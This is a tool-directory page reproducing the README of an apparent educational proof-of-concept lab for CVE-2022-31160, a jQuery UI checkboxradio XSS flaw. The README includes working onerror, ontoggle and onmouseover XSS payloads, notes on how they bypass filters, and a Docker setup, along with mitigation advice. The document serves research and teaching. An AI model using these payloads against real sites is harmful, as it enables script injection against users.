Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
jquery-cve-2022-31160 — jquery XSS Proof of Concept (PoC) | Kitploit
Tools/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCTFLearning & Education
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

jquery XSS Proof of Concept (PoC)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1 year agoNot yet reviewed

jQuery UI CVE-2022-31160 Vulnerability Demonstration

Security Badge jQuery UI CVE Docker

This project demonstrates the jQuery UI Checkboxradio Widget Refresh Vulnerability (CVE-2022-31160), which allows HTML entity decoding during widget refresh operations, potentially leading to Cross-Site Scripting (XSS) attacks.

🚨 Security Warning

⚠️ This project contains working XSS payloads for educational and research purposes only.

  • Do NOT use on production systems
  • Only use in controlled environments
  • Intended for security research and education

📋 Table of Contents

  • Vulnerability Overview
  • Quick Start
  • Project Structure
  • Demonstrations
  • Technical Details
  • Docker Usage
  • Security Analysis
  • Mitigation
  • Contributing

🔍 Vulnerability Overview

CVE-2022-31160 Details

  • Component: jQuery UI Checkboxradio Widget
  • Affected Versions: jQuery UI ≤ 1.13.1
  • Vulnerability Type: Cross-Site Scripting (XSS) via HTML Entity Decoding
  • CVSS Score: 6.1 (Medium)
  • First Published: July 20, 2022

Root Cause

When a checkboxradio widget is initialized on an input enclosed within a label, calling .checkboxradio("refresh") on the widget causes HTML entities in the label content to be erroneously decoded. This can convert safely encoded malicious content into executable JavaScript.

Attack Vector

root@kitploit:~
<!-- Safe encoded content -->
<label for="checkbox">
  Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
  Text 
  <input type="checkbox" id="checkbox">
</label>

🚀 Quick Start

Prerequisites

  • Docker installed on your system
  • Web browser with developer tools
  • Basic understanding of web security concepts

Build and Run

root@kitploit:~
# Clone or navigate to the project directory
cd jquery-cve-2022-31160

# Build the Docker image
docker build -t jquery-cve-2022-31160 .

# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160

Access the Demonstrations

Once the container is running, access:

  • Simplified Survey Demo: http://localhost:3000/survey
  • Alternative Survey URL: http://localhost:3000/simplified-survey

📁 Project Structure

root@kitploit:~
jquery-cve-2022-31160/
├── README.md                    # This documentation
├── Dockerfile                   # Docker container configuration
├── package.json                 # Node.js dependencies
├── server.js                    # Express.js server
└── simplified-survey.html       # Survey-style demonstration

🎯 Demonstrations

1. Simplified Survey Demo (simplified-survey.html)

URL: http://localhost:3000/survey

  • Survey-style interface
  • Multiple vulnerability scenarios
  • Enhanced visual feedback

Features:

  • 4 different checkbox options demonstrating various scenarios:
    • Safe Option: No encoded entities (control group)
    • Network Security XSS: &lt;img src=x onerror=&quot;...&quot;&gt; - Immediate execution
    • Mobile Security XSS: &lt;details ontoggle=&quot;...&quot; open&gt; - Immediate execution
    • Cloud Security XSS: &lt;span onmouseover=&quot;...&quot;&gt; - Interactive execution

Analysis Tools:

  • Detailed console logging
  • XSS execution alerts
  • Step-by-step vulnerability tracking

🔧 Technical Details

Vulnerability Mechanism

  1. Widget Initialization: jQuery UI creates checkboxradio widget
  2. HTML Entity Storage: Label content with encoded entities is processed
  3. Refresh Trigger: .checkboxradio("refresh") is called
  4. Entity Decoding: jQuery UI erroneously decodes HTML entities
  5. XSS Execution: Decoded malicious content becomes executable

Affected Code Path

root@kitploit:~
// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability

Test Payloads

The demonstrations include various payloads to test different XSS execution methods:

root@kitploit:~
<!-- Network Security: Error event XSS (Immediate execution) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Cloud Security: Interactive XSS (User interaction required) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;

XSS Execution Methods

1. Error Event Handler (onerror)

  • Trigger: Immediate when element is inserted into DOM
  • Reliability: Very high (always fails with src=x)
  • Use Case: Demonstrates immediate XSS execution
  • Real-World Risk: High - commonly bypasses input filters

2. Details Toggle Event Handler (ontoggle)

  • Trigger: When details element open/close state changes
  • Reliability: Very high (guaranteed trigger with open attribute)
  • Use Case: Immediate execution on DOM insertion
  • Real-World Risk: High - reliable cross-browser execution

3. Mouse Event Handler (onmouseover)

  • Trigger: Requires user interaction (hover)
  • Reliability: High when user interacts
  • Use Case: Social engineering scenarios
  • Real-World Risk: Medium - requires user engagement

Why These Payloads Work

Event Handler Advantages:

  • Execute when element is inserted via innerHTML
  • Bypass <script> tag restrictions
  • Work across different browsers consistently
  • Don't require external resources to load
  • State-based triggers (like ontoggle) are highly reliable

Encoding Bypass:

  • HTML entities (&lt;, &quot;) get decoded by jQuery UI refresh
  • Transforms safe encoded content into executable code
  • Demonstrates real-world sanitization bypass
  • Multiple execution vectors show attack surface diversity

🐳 Docker Usage

Building the Image

root@kitploit:~
docker build -t jquery-cve-2022-31160 .

Running the Container

root@kitploit:~
# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160

# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

Container Management

root@kitploit:~
# List running containers
docker ps

# Stop the container
docker stop jquery-cve-2022-31160

# Remove the container
docker rm jquery-cve-2022-31160

# Remove the image
docker rmi jquery-cve-2022-31160

🔬 Security Analysis

Impact Assessment

  • Severity: Medium (CVSS 6.1)
  • Attack Complexity: Low
  • User Interaction: Required (page interaction)
  • Scope: Unchanged (same-origin)
  • Confidentiality: Low impact
  • Integrity: Low impact
  • Availability: None

Real-World Scenarios

This vulnerability can be exploited in applications that:

  1. Use jQuery UI checkboxradio widgets
  2. Allow user-generated content in labels
  3. Sanitize content using HTML entity encoding
  4. Programmatically refresh widgets

Detection Methods

  • Static Analysis: Search for .checkboxradio("refresh") calls
  • Dynamic Analysis: Monitor HTML content changes during widget operations
  • Automated Scanning: Use tools that can detect DOM-based XSS
  • Manual Testing: Test widget refresh with encoded payloads

🛡️ Mitigation

Immediate Actions

  1. Update jQuery UI: Upgrade to version 1.13.2 or later
  2. Input Validation: Implement proper server-side validation
  3. Content Security Policy: Deploy restrictive CSP headers
  4. Output Encoding: Use context-appropriate output encoding

Code Fixes

root@kitploit:~
// Before refresh, sanitize or validate content
function safeRefresh(element) {
    // Validate label content before refresh
    const label = $(`label[for="${element.attr('id')}"]`);
    const content = label.html();
    
    // Check for potentially dangerous content
    if (content.includes('<') || content.includes('javascript:')) {
        console.warn('Potentially dangerous content detected');
        return;
    }
    
    element.checkboxradio("refresh");
}

Security Headers

root@kitploit:~
// Express.js security headers
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-XSS-Protection', '1; mode=block');
    res.setHeader('Content-Security-Policy', "default-src 'self'");
    next();
});

📚 Educational Value

This project serves as an educational resource for:

  • Security Researchers: Understanding DOM manipulation vulnerabilities
  • Web Developers: Learning about jQuery UI security considerations
  • Penetration Testers: Practical XSS exploitation techniques
  • Security Students: Hands-on vulnerability analysis

🔗 References

  • CVE-2022-31160 Official Entry
  • jQuery UI Security Advisory
  • OWASP XSS Prevention Cheat Sheet
  • CWE-79: Cross-site Scripting

📈 Testing Checklist

When using this demonstration:

Pre-Testing Setup:

  • Verify jQuery UI version (should be 1.13.0)
  • Test with developer tools open (F12)
  • Access survey at http://localhost:3000/survey
  • Check console for initialization messages

Vulnerability Testing:

  • Click "🔄 Refresh Widgets" button
  • Network Security Option: Verify immediate alert execution
  • Mobile Security Option: Verify immediate alert execution
  • Cloud Security Option: Hover over "[Hover to trigger]" text
  • Check console for detailed vulnerability logging

Analysis Verification:

  • Validate XSS payload execution (3 different types)
  • Test widget reset functionality
  • Verify checkbox visual feedback works correctly

🤝 Contributing

Contributions are welcome! Please:

  1. Fork the repository
  2. Create a feature branch
  3. Make your changes
  4. Add appropriate documentation
  5. Submit a pull request

Areas for Enhancement

  • Additional payload examples
  • More detailed analysis tools
  • Enhanced visual demonstrations

⚖️ Legal Disclaimer

This software is provided for educational and research purposes only. The authors and contributors:

  • Are not responsible for any misuse of this software
  • Do not encourage or condone malicious activities
  • Recommend using only in authorized testing environments
  • Advise following responsible disclosure practices

📄 License

This project is provided under the MIT License for educational purposes.


Created for security research and education | Use responsibly | Report vulnerabilities through proper channels

Download Tool